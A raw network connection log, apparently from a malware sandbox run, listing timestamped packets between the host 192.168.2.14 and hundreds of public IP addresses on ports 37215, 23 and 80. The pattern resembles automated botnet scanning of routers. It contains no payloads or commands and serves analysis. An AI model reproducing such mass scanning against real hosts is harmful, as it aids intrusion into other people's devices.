Dec 3, 2024 22:02:03.220484018 CET	37215	54222	156.128.181.170	192.168.2.14
Dec 3, 2024 22:02:03.221518993 CET	37215	46092	156.193.205.255	192.168.2.14
Dec 3, 2024 22:02:03.222109079 CET	37215	56762	41.48.214.226	192.168.2.14
Dec 3, 2024 22:02:03.223006010 CET	37215	37534	156.138.184.13	192.168.2.14
Dec 3, 2024 22:02:03.262299061 CET	37215	56092	156.71.207.31	192.168.2.14
Dec 3, 2024 22:02:03.265305042 CET	37215	37534	156.138.184.13	192.168.2.14
Dec 3, 2024 22:02:03.265470028 CET	37215	56762	41.48.214.226	192.168.2.14
Dec 3, 2024 22:02:03.265480042 CET	37215	46092	156.193.205.255	192.168.2.14
Dec 3, 2024 22:02:03.265640974 CET	37215	54222	156.128.181.170	192.168.2.14
Dec 3, 2024 22:02:03.265650988 CET	37215	57752	197.47.140.171	192.168.2.14
Dec 3, 2024 22:02:03.270868063 CET	37215	39168	197.83.50.226	192.168.2.14
Dec 3, 2024 22:02:03.271490097 CET	37215	39348	197.83.50.226	192.168.2.14
Dec 3, 2024 22:02:03.271559954 CET	39348	37215	192.168.2.14	197.83.50.226
Dec 3, 2024 22:02:03.271739960 CET	39348	37215	192.168.2.14	197.83.50.226
Dec 3, 2024 22:02:03.271940947 CET	37215	52462	197.237.59.118	192.168.2.14
Dec 3, 2024 22:02:03.272308111 CET	37215	52642	197.237.59.118	192.168.2.14
Dec 3, 2024 22:02:03.272357941 CET	52642	37215	192.168.2.14	197.237.59.118
Dec 3, 2024 22:02:03.272382975 CET	52642	37215	192.168.2.14	197.237.59.118
Dec 3, 2024 22:02:03.273080111 CET	37215	39102	41.207.60.22	192.168.2.14
Dec 3, 2024 22:02:03.273389101 CET	37215	39282	41.207.60.22	192.168.2.14
Dec 3, 2024 22:02:03.273456097 CET	39282	37215	192.168.2.14	41.207.60.22
Dec 3, 2024 22:02:03.273478031 CET	39282	37215	192.168.2.14	41.207.60.22
Dec 3, 2024 22:02:03.273971081 CET	37215	52312	156.5.132.186	192.168.2.14
Dec 3, 2024 22:02:03.274151087 CET	37215	52492	156.5.132.186	192.168.2.14
Dec 3, 2024 22:02:03.274204969 CET	52492	37215	192.168.2.14	156.5.132.186
Dec 3, 2024 22:02:03.274234056 CET	52492	37215	192.168.2.14	156.5.132.186
Dec 3, 2024 22:02:03.274631023 CET	37215	48840	197.231.134.202	192.168.2.14
Dec 3, 2024 22:02:03.274909973 CET	37215	49020	197.231.134.202	192.168.2.14
Dec 3, 2024 22:02:03.274955034 CET	49020	37215	192.168.2.14	197.231.134.202
Dec 3, 2024 22:02:03.274972916 CET	49020	37215	192.168.2.14	197.231.134.202
Dec 3, 2024 22:02:03.275207996 CET	37215	52802	41.74.150.174	192.168.2.14
Dec 3, 2024 22:02:03.275969982 CET	37215	57470	41.134.87.124	192.168.2.14
Dec 3, 2024 22:02:03.277971029 CET	37215	53476	197.113.98.202	192.168.2.14
Dec 3, 2024 22:02:03.278136969 CET	37215	53648	197.113.98.202	192.168.2.14
Dec 3, 2024 22:02:03.278187037 CET	53648	37215	192.168.2.14	197.113.98.202
Dec 3, 2024 22:02:03.278206110 CET	53648	37215	192.168.2.14	197.113.98.202
Dec 3, 2024 22:02:03.291661978 CET	37215	47462	41.105.124.119	192.168.2.14
Dec 3, 2024 22:02:03.291980028 CET	37215	47598	41.105.124.119	192.168.2.14
Dec 3, 2024 22:02:03.292053938 CET	47598	37215	192.168.2.14	41.105.124.119
Dec 3, 2024 22:02:03.292077065 CET	47598	37215	192.168.2.14	41.105.124.119
Dec 3, 2024 22:02:03.297758102 CET	23	39808	72.222.115.17	192.168.2.14
Dec 3, 2024 22:02:03.297813892 CET	39808	23	192.168.2.14	72.222.115.17
Dec 3, 2024 22:02:03.309734106 CET	37215	48380	156.123.151.3	192.168.2.14
Dec 3, 2024 22:02:03.309977055 CET	37215	48500	156.123.151.3	192.168.2.14
Dec 3, 2024 22:02:03.310039997 CET	48500	37215	192.168.2.14	156.123.151.3
Dec 3, 2024 22:02:03.310072899 CET	48500	37215	192.168.2.14	156.123.151.3
Dec 3, 2024 22:02:03.310637951 CET	37215	57616	156.234.225.136	192.168.2.14
Dec 3, 2024 22:02:03.311358929 CET	37215	39168	197.83.50.226	192.168.2.14
Dec 3, 2024 22:02:03.311381102 CET	37215	39102	41.207.60.22	192.168.2.14
Dec 3, 2024 22:02:03.311459064 CET	37215	52462	197.237.59.118	192.168.2.14
Dec 3, 2024 22:02:03.319200993 CET	37215	57470	41.134.87.124	192.168.2.14
Dec 3, 2024 22:02:03.319212914 CET	37215	37982	41.249.74.18	192.168.2.14
Dec 3, 2024 22:02:03.319226980 CET	37215	52802	41.74.150.174	192.168.2.14
Dec 3, 2024 22:02:03.319236994 CET	37215	48840	197.231.134.202	192.168.2.14
Dec 3, 2024 22:02:03.319246054 CET	37215	52312	156.5.132.186	192.168.2.14
Dec 3, 2024 22:02:03.319256067 CET	37215	38088	41.249.74.18	192.168.2.14
Dec 3, 2024 22:02:03.319354057 CET	38088	37215	192.168.2.14	41.249.74.18
Dec 3, 2024 22:02:03.319354057 CET	38088	37215	192.168.2.14	41.249.74.18
Dec 3, 2024 22:02:03.325227976 CET	37215	53476	197.113.98.202	192.168.2.14
Dec 3, 2024 22:02:03.329413891 CET	37215	50278	41.73.129.181	192.168.2.14
Dec 3, 2024 22:02:03.329746962 CET	37215	50348	41.73.129.181	192.168.2.14
Dec 3, 2024 22:02:03.329794884 CET	50348	37215	192.168.2.14	41.73.129.181
Dec 3, 2024 22:02:03.329834938 CET	50348	37215	192.168.2.14	41.73.129.181
Dec 3, 2024 22:02:03.333188057 CET	37215	47462	41.105.124.119	192.168.2.14
Dec 3, 2024 22:02:03.338598967 CET	37215	54134	197.83.84.192	192.168.2.14
Dec 3, 2024 22:02:03.339035034 CET	37215	54180	197.83.84.192	192.168.2.14
Dec 3, 2024 22:02:03.339096069 CET	54180	37215	192.168.2.14	197.83.84.192
Dec 3, 2024 22:02:03.339144945 CET	54180	37215	192.168.2.14	197.83.84.192
Dec 3, 2024 22:02:03.351402998 CET	37215	57616	156.234.225.136	192.168.2.14
Dec 3, 2024 22:02:03.351412058 CET	37215	48380	156.123.151.3	192.168.2.14
Dec 3, 2024 22:02:03.359431028 CET	37215	37982	41.249.74.18	192.168.2.14
Dec 3, 2024 22:02:03.371351004 CET	37215	50278	41.73.129.181	192.168.2.14
Dec 3, 2024 22:02:03.379369020 CET	37215	54134	197.83.84.192	192.168.2.14
Dec 3, 2024 22:02:03.391918898 CET	37215	39348	197.83.50.226	192.168.2.14
Dec 3, 2024 22:02:03.392010927 CET	39348	37215	192.168.2.14	197.83.50.226
Dec 3, 2024 22:02:03.392533064 CET	37215	52642	197.237.59.118	192.168.2.14
Dec 3, 2024 22:02:03.392576933 CET	52642	37215	192.168.2.14	197.237.59.118
Dec 3, 2024 22:02:03.393738985 CET	37215	39282	41.207.60.22	192.168.2.14
Dec 3, 2024 22:02:03.393822908 CET	39282	37215	192.168.2.14	41.207.60.22
Dec 3, 2024 22:02:03.394337893 CET	37215	52492	156.5.132.186	192.168.2.14
Dec 3, 2024 22:02:03.394376993 CET	52492	37215	192.168.2.14	156.5.132.186
Dec 3, 2024 22:02:03.395071030 CET	37215	49020	197.231.134.202	192.168.2.14
Dec 3, 2024 22:02:03.395121098 CET	49020	37215	192.168.2.14	197.231.134.202
Dec 3, 2024 22:02:03.398592949 CET	37215	53648	197.113.98.202	192.168.2.14
Dec 3, 2024 22:02:03.398639917 CET	53648	37215	192.168.2.14	197.113.98.202
Dec 3, 2024 22:02:03.412316084 CET	37215	47598	41.105.124.119	192.168.2.14
Dec 3, 2024 22:02:03.412385941 CET	47598	37215	192.168.2.14	41.105.124.119
Dec 3, 2024 22:02:03.430274963 CET	37215	48500	156.123.151.3	192.168.2.14
Dec 3, 2024 22:02:03.430365086 CET	48500	37215	192.168.2.14	156.123.151.3
Dec 3, 2024 22:02:03.439855099 CET	37215	38088	41.249.74.18	192.168.2.14
Dec 3, 2024 22:02:03.439901114 CET	38088	37215	192.168.2.14	41.249.74.18
Dec 3, 2024 22:02:03.450944901 CET	37215	50348	41.73.129.181	192.168.2.14
Dec 3, 2024 22:02:03.450990915 CET	50348	37215	192.168.2.14	41.73.129.181
Dec 3, 2024 22:02:03.459467888 CET	37215	54180	197.83.84.192	192.168.2.14
Dec 3, 2024 22:02:03.459480047 CET	37215	54180	197.83.84.192	192.168.2.14
Dec 3, 2024 22:02:03.459537029 CET	54180	37215	192.168.2.14	197.83.84.192
Dec 3, 2024 22:02:03.905265093 CET	39296	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:03.905267000 CET	39296	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:03.905267000 CET	39296	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:03.905272007 CET	39296	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:03.905286074 CET	39296	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:03.905287981 CET	39296	80	192.168.2.14	186.103.200.154
Dec 3, 2024 22:02:03.905297995 CET	39296	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:03.905297995 CET	39296	80	192.168.2.14	20.35.75.252
Dec 3, 2024 22:02:03.905297995 CET	39296	80	192.168.2.14	90.146.94.112
Dec 3, 2024 22:02:03.905303001 CET	39296	80	192.168.2.14	180.111.197.220
Dec 3, 2024 22:02:03.905303001 CET	39296	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:03.905304909 CET	39296	80	192.168.2.14	205.253.138.238
Dec 3, 2024 22:02:03.905304909 CET	39296	80	192.168.2.14	31.154.194.45
Dec 3, 2024 22:02:03.905312061 CET	39296	80	192.168.2.14	194.3.119.244
Dec 3, 2024 22:02:03.905312061 CET	39296	80	192.168.2.14	106.191.70.70
Dec 3, 2024 22:02:03.905312061 CET	39296	80	192.168.2.14	84.18.193.185
Dec 3, 2024 22:02:03.905312061 CET	39296	80	192.168.2.14	129.125.175.170
Dec 3, 2024 22:02:03.905316114 CET	39296	80	192.168.2.14	12.155.148.111
Dec 3, 2024 22:02:03.905328989 CET	39296	80	192.168.2.14	45.28.33.123
Dec 3, 2024 22:02:03.905320883 CET	39296	80	192.168.2.14	72.243.203.46
Dec 3, 2024 22:02:03.905320883 CET	39296	80	192.168.2.14	89.98.95.53
Dec 3, 2024 22:02:03.905334949 CET	39296	80	192.168.2.14	218.163.6.206
Dec 3, 2024 22:02:03.905335903 CET	39296	80	192.168.2.14	164.132.95.172
Dec 3, 2024 22:02:03.905349970 CET	39296	80	192.168.2.14	36.241.29.66
Dec 3, 2024 22:02:03.905350924 CET	39296	80	192.168.2.14	223.56.226.226
Dec 3, 2024 22:02:03.905353069 CET	39296	80	192.168.2.14	62.250.5.2
Dec 3, 2024 22:02:03.905353069 CET	39296	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:03.905355930 CET	39296	80	192.168.2.14	167.62.82.131
Dec 3, 2024 22:02:03.905355930 CET	39296	80	192.168.2.14	212.188.14.62
Dec 3, 2024 22:02:03.905383110 CET	39296	80	192.168.2.14	195.185.183.91
Dec 3, 2024 22:02:03.905384064 CET	39296	80	192.168.2.14	207.50.163.240
Dec 3, 2024 22:02:03.905391932 CET	39296	80	192.168.2.14	48.32.166.226
Dec 3, 2024 22:02:03.905402899 CET	39296	80	192.168.2.14	203.231.182.115
Dec 3, 2024 22:02:03.905405998 CET	39296	80	192.168.2.14	157.42.76.182
Dec 3, 2024 22:02:03.905410051 CET	39296	80	192.168.2.14	167.218.38.29
Dec 3, 2024 22:02:03.905431986 CET	39296	80	192.168.2.14	149.204.115.19
Dec 3, 2024 22:02:03.905435085 CET	39296	80	192.168.2.14	160.21.32.85
Dec 3, 2024 22:02:03.905447960 CET	39296	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:03.905477047 CET	39296	80	192.168.2.14	120.27.40.11
Dec 3, 2024 22:02:03.905484915 CET	39296	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:03.905484915 CET	39296	80	192.168.2.14	223.131.159.194
Dec 3, 2024 22:02:03.905484915 CET	39296	80	192.168.2.14	150.169.126.146
Dec 3, 2024 22:02:03.905488014 CET	39296	80	192.168.2.14	41.3.202.197
Dec 3, 2024 22:02:03.905493021 CET	39296	80	192.168.2.14	69.234.220.201
Dec 3, 2024 22:02:03.905505896 CET	39296	80	192.168.2.14	199.144.196.39
Dec 3, 2024 22:02:03.905508995 CET	39296	80	192.168.2.14	66.135.164.211
Dec 3, 2024 22:02:03.905505896 CET	39296	80	192.168.2.14	44.122.74.244
Dec 3, 2024 22:02:03.905515909 CET	39296	80	192.168.2.14	83.66.176.9
Dec 3, 2024 22:02:03.905505896 CET	39296	80	192.168.2.14	2.66.91.134
Dec 3, 2024 22:02:03.905523062 CET	39296	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:03.905524015 CET	39296	80	192.168.2.14	198.212.68.69
Dec 3, 2024 22:02:03.905529022 CET	39296	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:03.905612946 CET	39296	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:03.905612946 CET	39296	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:03.905616045 CET	39296	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:03.905616045 CET	39296	80	192.168.2.14	79.170.133.116
Dec 3, 2024 22:02:03.905616045 CET	39296	80	192.168.2.14	57.191.144.175
Dec 3, 2024 22:02:03.905621052 CET	39296	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:03.905621052 CET	39296	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:03.905621052 CET	39296	80	192.168.2.14	120.243.91.245
Dec 3, 2024 22:02:03.905621052 CET	39296	80	192.168.2.14	42.182.65.179
Dec 3, 2024 22:02:03.905621052 CET	39296	80	192.168.2.14	153.65.121.5
Dec 3, 2024 22:02:03.905625105 CET	39296	80	192.168.2.14	71.56.234.92
Dec 3, 2024 22:02:03.905625105 CET	39296	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:03.905625105 CET	39296	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:03.905627012 CET	39296	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:03.905627012 CET	39296	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:03.905627012 CET	39296	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:03.905627012 CET	39296	80	192.168.2.14	156.46.82.108
Dec 3, 2024 22:02:03.905627012 CET	39296	80	192.168.2.14	108.150.138.136
Dec 3, 2024 22:02:03.905627012 CET	39296	80	192.168.2.14	64.217.193.197
Dec 3, 2024 22:02:03.905627012 CET	39296	80	192.168.2.14	159.167.235.196
Dec 3, 2024 22:02:03.905627012 CET	39296	80	192.168.2.14	130.250.125.161
Dec 3, 2024 22:02:03.905648947 CET	39296	80	192.168.2.14	74.215.247.7
Dec 3, 2024 22:02:03.905648947 CET	39296	80	192.168.2.14	80.188.203.199
Dec 3, 2024 22:02:03.905658007 CET	39296	80	192.168.2.14	65.175.248.128
Dec 3, 2024 22:02:03.905658007 CET	39296	80	192.168.2.14	190.137.56.4
Dec 3, 2024 22:02:03.905670881 CET	39296	80	192.168.2.14	142.30.229.166
Dec 3, 2024 22:02:03.905673981 CET	39296	80	192.168.2.14	41.126.90.151
Dec 3, 2024 22:02:03.905673981 CET	39296	80	192.168.2.14	153.155.142.168
Dec 3, 2024 22:02:03.905673981 CET	39296	80	192.168.2.14	109.8.120.96
Dec 3, 2024 22:02:03.905673981 CET	39296	80	192.168.2.14	78.144.185.174
Dec 3, 2024 22:02:03.905673981 CET	39296	80	192.168.2.14	194.38.86.202
Dec 3, 2024 22:02:03.905674934 CET	39296	80	192.168.2.14	195.66.130.134
Dec 3, 2024 22:02:03.905673981 CET	39296	80	192.168.2.14	66.87.126.213
Dec 3, 2024 22:02:03.905674934 CET	39296	80	192.168.2.14	99.150.110.59
Dec 3, 2024 22:02:03.905674934 CET	39296	80	192.168.2.14	109.28.6.185
Dec 3, 2024 22:02:03.905682087 CET	39296	80	192.168.2.14	99.154.78.246
Dec 3, 2024 22:02:03.905682087 CET	39296	80	192.168.2.14	218.40.11.38
Dec 3, 2024 22:02:03.905683041 CET	39296	80	192.168.2.14	138.79.232.169
Dec 3, 2024 22:02:03.905682087 CET	39296	80	192.168.2.14	124.179.204.141
Dec 3, 2024 22:02:03.905683041 CET	39296	80	192.168.2.14	59.107.191.64
Dec 3, 2024 22:02:03.905682087 CET	39296	80	192.168.2.14	183.70.246.62
Dec 3, 2024 22:02:03.905683041 CET	39296	80	192.168.2.14	136.42.161.202
Dec 3, 2024 22:02:03.905682087 CET	39296	80	192.168.2.14	82.201.126.213
Dec 3, 2024 22:02:03.905683041 CET	39296	80	192.168.2.14	87.53.60.183
Dec 3, 2024 22:02:03.905684948 CET	39296	80	192.168.2.14	197.179.8.75
Dec 3, 2024 22:02:03.905682087 CET	39296	80	192.168.2.14	188.206.175.222
Dec 3, 2024 22:02:03.905685902 CET	39296	80	192.168.2.14	83.65.237.119
Dec 3, 2024 22:02:03.905684948 CET	39296	80	192.168.2.14	199.203.44.94
Dec 3, 2024 22:02:03.905685902 CET	39296	80	192.168.2.14	75.94.213.136
Dec 3, 2024 22:02:03.905684948 CET	39296	80	192.168.2.14	34.97.160.232
Dec 3, 2024 22:02:03.905685902 CET	39296	80	192.168.2.14	184.210.157.189
Dec 3, 2024 22:02:03.905684948 CET	39296	80	192.168.2.14	2.99.110.138
Dec 3, 2024 22:02:03.905684948 CET	39296	80	192.168.2.14	149.102.46.198
Dec 3, 2024 22:02:03.905684948 CET	39296	80	192.168.2.14	181.70.88.100
Dec 3, 2024 22:02:03.905699015 CET	39296	80	192.168.2.14	201.87.13.69
Dec 3, 2024 22:02:03.905699015 CET	39296	80	192.168.2.14	32.28.66.75
Dec 3, 2024 22:02:03.905699015 CET	39296	80	192.168.2.14	23.217.233.194
Dec 3, 2024 22:02:03.905699015 CET	39296	80	192.168.2.14	175.75.140.212
Dec 3, 2024 22:02:03.905699015 CET	39296	80	192.168.2.14	86.223.17.181
Dec 3, 2024 22:02:03.905699015 CET	39296	80	192.168.2.14	183.60.39.211
Dec 3, 2024 22:02:03.905699015 CET	39296	80	192.168.2.14	97.96.16.169
Dec 3, 2024 22:02:03.905699015 CET	39296	80	192.168.2.14	196.196.67.68
Dec 3, 2024 22:02:03.905711889 CET	39296	80	192.168.2.14	98.151.88.128
Dec 3, 2024 22:02:03.905711889 CET	39296	80	192.168.2.14	95.95.32.33
Dec 3, 2024 22:02:03.905711889 CET	39296	80	192.168.2.14	219.129.117.103
Dec 3, 2024 22:02:03.905711889 CET	39296	80	192.168.2.14	85.253.143.14
Dec 3, 2024 22:02:03.905715942 CET	39296	80	192.168.2.14	159.63.80.241
Dec 3, 2024 22:02:03.905715942 CET	39296	80	192.168.2.14	59.96.163.171
Dec 3, 2024 22:02:03.905715942 CET	39296	80	192.168.2.14	87.9.138.101
Dec 3, 2024 22:02:03.905718088 CET	39296	80	192.168.2.14	155.222.79.192
Dec 3, 2024 22:02:03.905719042 CET	39296	80	192.168.2.14	110.190.211.7
Dec 3, 2024 22:02:03.905718088 CET	39296	80	192.168.2.14	207.236.33.103
Dec 3, 2024 22:02:03.905719995 CET	39296	80	192.168.2.14	163.140.183.200
Dec 3, 2024 22:02:03.905719042 CET	39296	80	192.168.2.14	140.113.133.187
Dec 3, 2024 22:02:03.905719995 CET	39296	80	192.168.2.14	35.233.198.134
Dec 3, 2024 22:02:03.905718088 CET	39296	80	192.168.2.14	170.185.32.36
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	17.201.216.248
Dec 3, 2024 22:02:03.905723095 CET	39296	80	192.168.2.14	35.56.185.146
Dec 3, 2024 22:02:03.905719042 CET	39296	80	192.168.2.14	107.197.57.136
Dec 3, 2024 22:02:03.905719995 CET	39296	80	192.168.2.14	92.213.122.159
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	173.27.157.114
Dec 3, 2024 22:02:03.905718088 CET	39296	80	192.168.2.14	210.145.138.44
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	179.228.66.87
Dec 3, 2024 22:02:03.905718088 CET	39296	80	192.168.2.14	183.89.147.178
Dec 3, 2024 22:02:03.905719995 CET	39296	80	192.168.2.14	105.54.198.29
Dec 3, 2024 22:02:03.905735970 CET	39296	80	192.168.2.14	200.225.239.75
Dec 3, 2024 22:02:03.905719995 CET	39296	80	192.168.2.14	76.184.194.100
Dec 3, 2024 22:02:03.905735970 CET	39296	80	192.168.2.14	163.196.249.149
Dec 3, 2024 22:02:03.905719995 CET	39296	80	192.168.2.14	19.210.169.24
Dec 3, 2024 22:02:03.905735970 CET	39296	80	192.168.2.14	54.238.160.9
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	66.93.125.27
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	202.153.214.229
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	89.142.156.152
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	146.210.171.78
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	71.85.135.155
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	156.80.135.44
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	90.30.154.11
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	173.13.41.143
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	77.185.189.147
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	105.150.136.240
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	57.15.22.6
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	77.60.184.36
Dec 3, 2024 22:02:03.905725002 CET	39296	80	192.168.2.14	80.107.160.109
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	83.183.117.221
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	61.200.247.216
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	34.40.88.6
Dec 3, 2024 22:02:03.905739069 CET	39296	80	192.168.2.14	213.83.214.99
Dec 3, 2024 22:02:03.905746937 CET	39296	80	192.168.2.14	169.170.242.178
Dec 3, 2024 22:02:03.905746937 CET	39296	80	192.168.2.14	83.175.37.185
Dec 3, 2024 22:02:03.905747890 CET	39296	80	192.168.2.14	167.27.180.43
Dec 3, 2024 22:02:03.905749083 CET	39296	80	192.168.2.14	95.132.53.165
Dec 3, 2024 22:02:03.905751944 CET	39296	80	192.168.2.14	4.176.190.172
Dec 3, 2024 22:02:03.905749083 CET	39296	80	192.168.2.14	155.192.155.93
Dec 3, 2024 22:02:03.905751944 CET	39296	80	192.168.2.14	8.134.153.68
Dec 3, 2024 22:02:03.905751944 CET	39296	80	192.168.2.14	139.120.62.80
Dec 3, 2024 22:02:03.905755043 CET	39296	80	192.168.2.14	32.88.80.145
Dec 3, 2024 22:02:03.905755043 CET	39296	80	192.168.2.14	2.248.71.103
Dec 3, 2024 22:02:03.905755043 CET	39296	80	192.168.2.14	42.236.200.244
Dec 3, 2024 22:02:03.905755043 CET	39296	80	192.168.2.14	188.18.77.126
Dec 3, 2024 22:02:03.905755043 CET	39296	80	192.168.2.14	124.85.71.99
Dec 3, 2024 22:02:03.905757904 CET	39296	80	192.168.2.14	46.70.95.3
Dec 3, 2024 22:02:03.905757904 CET	39296	80	192.168.2.14	81.106.111.18
Dec 3, 2024 22:02:03.905757904 CET	39296	80	192.168.2.14	13.60.96.211
Dec 3, 2024 22:02:03.905757904 CET	39296	80	192.168.2.14	171.192.39.127
Dec 3, 2024 22:02:03.905762911 CET	39296	80	192.168.2.14	96.176.186.116
Dec 3, 2024 22:02:03.905762911 CET	39296	80	192.168.2.14	107.212.224.37
Dec 3, 2024 22:02:03.905764103 CET	39296	80	192.168.2.14	78.106.137.25
Dec 3, 2024 22:02:03.905765057 CET	39296	80	192.168.2.14	165.6.76.72
Dec 3, 2024 22:02:03.905771971 CET	39296	80	192.168.2.14	198.174.183.10
Dec 3, 2024 22:02:03.905771971 CET	39296	80	192.168.2.14	206.193.87.113
Dec 3, 2024 22:02:03.905771971 CET	39296	80	192.168.2.14	201.27.244.4
Dec 3, 2024 22:02:03.905772924 CET	39296	80	192.168.2.14	171.172.10.203
Dec 3, 2024 22:02:03.905776024 CET	39296	80	192.168.2.14	139.111.134.30
Dec 3, 2024 22:02:03.905778885 CET	39296	80	192.168.2.14	195.5.21.159
Dec 3, 2024 22:02:03.905793905 CET	39296	80	192.168.2.14	203.154.149.149
Dec 3, 2024 22:02:03.905793905 CET	39296	80	192.168.2.14	139.1.200.195
Dec 3, 2024 22:02:03.905793905 CET	39296	80	192.168.2.14	206.135.141.214
Dec 3, 2024 22:02:03.905796051 CET	39296	80	192.168.2.14	211.38.250.209
Dec 3, 2024 22:02:03.905812025 CET	39296	80	192.168.2.14	57.103.185.132
Dec 3, 2024 22:02:03.905813932 CET	39296	80	192.168.2.14	52.84.250.59
Dec 3, 2024 22:02:03.905821085 CET	39296	80	192.168.2.14	73.63.190.231
Dec 3, 2024 22:02:03.905844927 CET	39296	80	192.168.2.14	120.5.88.23
Dec 3, 2024 22:02:03.905844927 CET	39296	80	192.168.2.14	161.108.105.147
Dec 3, 2024 22:02:03.905847073 CET	39296	80	192.168.2.14	157.40.44.89
Dec 3, 2024 22:02:03.905847073 CET	39296	80	192.168.2.14	36.78.10.218
Dec 3, 2024 22:02:03.905847073 CET	39296	80	192.168.2.14	176.149.193.65
Dec 3, 2024 22:02:03.905853987 CET	39296	80	192.168.2.14	120.12.99.40
Dec 3, 2024 22:02:03.905858040 CET	39296	80	192.168.2.14	221.229.174.184
Dec 3, 2024 22:02:03.905858040 CET	39296	80	192.168.2.14	45.159.59.93
Dec 3, 2024 22:02:03.905858994 CET	39296	80	192.168.2.14	130.108.230.107
Dec 3, 2024 22:02:03.905860901 CET	39296	80	192.168.2.14	87.185.15.29
Dec 3, 2024 22:02:03.905858040 CET	39296	80	192.168.2.14	154.33.175.15
Dec 3, 2024 22:02:03.905859947 CET	39296	80	192.168.2.14	79.23.116.157
Dec 3, 2024 22:02:03.905860901 CET	39296	80	192.168.2.14	92.102.50.246
Dec 3, 2024 22:02:03.905858040 CET	39296	80	192.168.2.14	64.72.136.53
Dec 3, 2024 22:02:03.905860901 CET	39296	80	192.168.2.14	20.97.51.189
Dec 3, 2024 22:02:03.905860901 CET	39296	80	192.168.2.14	116.194.174.63
Dec 3, 2024 22:02:03.905859947 CET	39296	80	192.168.2.14	76.39.253.102
Dec 3, 2024 22:02:03.905870914 CET	39296	80	192.168.2.14	160.150.123.23
Dec 3, 2024 22:02:03.905877113 CET	39296	80	192.168.2.14	205.171.25.164
Dec 3, 2024 22:02:03.905877113 CET	39296	80	192.168.2.14	125.54.160.94
Dec 3, 2024 22:02:03.905879021 CET	39296	80	192.168.2.14	193.140.29.177
Dec 3, 2024 22:02:03.905899048 CET	39296	80	192.168.2.14	12.145.102.77
Dec 3, 2024 22:02:03.905899048 CET	39296	80	192.168.2.14	9.199.57.172
Dec 3, 2024 22:02:03.905899048 CET	39296	80	192.168.2.14	223.64.90.123
Dec 3, 2024 22:02:03.905900955 CET	39296	80	192.168.2.14	191.187.188.103
Dec 3, 2024 22:02:03.905930042 CET	39296	80	192.168.2.14	1.173.154.161
Dec 3, 2024 22:02:03.905930996 CET	39296	80	192.168.2.14	74.102.17.149
Dec 3, 2024 22:02:03.905930042 CET	39296	80	192.168.2.14	90.197.50.162
Dec 3, 2024 22:02:03.905939102 CET	39296	80	192.168.2.14	49.11.42.80
Dec 3, 2024 22:02:03.905940056 CET	39296	80	192.168.2.14	222.79.96.147
Dec 3, 2024 22:02:03.905940056 CET	39296	80	192.168.2.14	187.76.206.199
Dec 3, 2024 22:02:03.905946016 CET	39296	80	192.168.2.14	178.76.107.147
Dec 3, 2024 22:02:03.905950069 CET	39296	80	192.168.2.14	1.12.87.164
Dec 3, 2024 22:02:03.905950069 CET	39296	80	192.168.2.14	126.172.168.131
Dec 3, 2024 22:02:03.905950069 CET	39296	80	192.168.2.14	71.106.39.190
Dec 3, 2024 22:02:03.905955076 CET	39296	80	192.168.2.14	35.11.97.250
Dec 3, 2024 22:02:03.905953884 CET	39296	80	192.168.2.14	61.15.11.109
Dec 3, 2024 22:02:03.905953884 CET	39296	80	192.168.2.14	63.30.218.229
Dec 3, 2024 22:02:03.905967951 CET	39296	80	192.168.2.14	142.72.144.83
Dec 3, 2024 22:02:03.905982018 CET	39296	80	192.168.2.14	213.242.226.132
Dec 3, 2024 22:02:03.905987024 CET	39296	80	192.168.2.14	41.97.238.164
Dec 3, 2024 22:02:03.905989885 CET	39296	80	192.168.2.14	91.157.120.28
Dec 3, 2024 22:02:03.905991077 CET	39296	80	192.168.2.14	223.152.160.63
Dec 3, 2024 22:02:03.905996084 CET	39296	80	192.168.2.14	209.55.147.226
Dec 3, 2024 22:02:03.906003952 CET	39296	80	192.168.2.14	5.68.235.136
Dec 3, 2024 22:02:03.906007051 CET	39296	80	192.168.2.14	165.93.70.28
Dec 3, 2024 22:02:03.906007051 CET	39296	80	192.168.2.14	163.199.112.19
Dec 3, 2024 22:02:03.906016111 CET	39296	80	192.168.2.14	165.223.120.91
Dec 3, 2024 22:02:03.906023979 CET	39296	80	192.168.2.14	195.50.173.91
